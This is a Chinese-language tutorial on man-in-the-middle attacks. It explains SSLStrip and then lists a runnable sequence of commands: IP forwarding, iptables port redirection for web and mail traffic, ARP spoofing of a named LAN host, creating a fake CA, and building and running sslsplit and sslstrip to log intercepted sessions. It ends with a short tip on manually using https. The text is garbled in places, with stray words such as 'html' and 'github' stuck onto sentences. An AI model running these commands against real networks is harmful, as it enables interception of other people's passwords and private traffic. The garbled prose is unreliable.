中间人攻击(Man-in-the-Middle Attack, MITM)是一种由来已久的网络入侵手段,而且在今天仍然有着普遍的发展空间,如SMB会话劫持、DNS欺骗等攻击都是典型的MITM攻击。简而言之,所谓的MITM攻击就是经过拦截正常的网络通讯数据,并进行数据篡改和嗅探,而通讯的双方却绝不知情。html
整个SSLStrip 过程包括以下几个步骤:git
1. 客户端Client向服务器Server发起HTTP链接请求 2. 中间人MITM监听客户端与服务器的HTTP数据; 3. 服务器返回给客户端的HTTP数据包被在客户端与服务器之间的中间人截获。中间人解析原HTTP数据包,将HTTPS URL改成HTTP URL,同时记录下所修改的URL,并保存; 4. 中间人将修改后的HTTP数据发送给客户端; 5. 客户端Client向服务器Server发起HTTP链接请求; 6. 中间人计算机解析客户端的HTTP链接请求,并与保存文件相比较。当发现存在有已修改过的HTTP URL时,将其替换成原HTTPS URL,并发送给服务器;
结合arp地址欺骗,无需伪造证书github
echo 1 > /proc/sys/net/ipv4/ip_forward
,也能够输sysctl -w net.ipv4.ip_forward=1
iptables -t nat -L
查看nat表中的规则iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080 //HTTP iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443 //HTTPS iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443 //MSA iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443 //SMTPS iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443 //IMAPS iptables -t nat -A PREROUTING -p tcp --dport 995 -j REDIRECT --to-ports 8443 //POP3S
arpspoof -i eth0 -t 192.168.19.133 -r 192.168.19.2
openssl genrsa -out ca.key 2048
openssl req -new -x509 -days 1096 -key ca.key -out ca.crt
git clone https://github.com/droe/sslsplit.git /opt/sslsplit
apt-get install libssl-dev libevent-dev
进行安装make
make install
进行编译。sslsplit -D -l connect.log -j /root/test -S logdir/ -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080
sslstrip –l 8080
监听发往8080端口的数据中间人攻击是较为隐蔽的社会学攻击,中间人攻击会使用户以为可能只是网络很差使得网页加载缓慢或须要刷新,若是用户没有注意到使用的是http协议或者没有注意到证书的问题,就可能被截取用户名和口令。所以,在平常生活中,对一些网银、购物、邮箱等网站要养成手动输入https协议的习惯,多注意细节,就能尽量避免被攻击。浏览器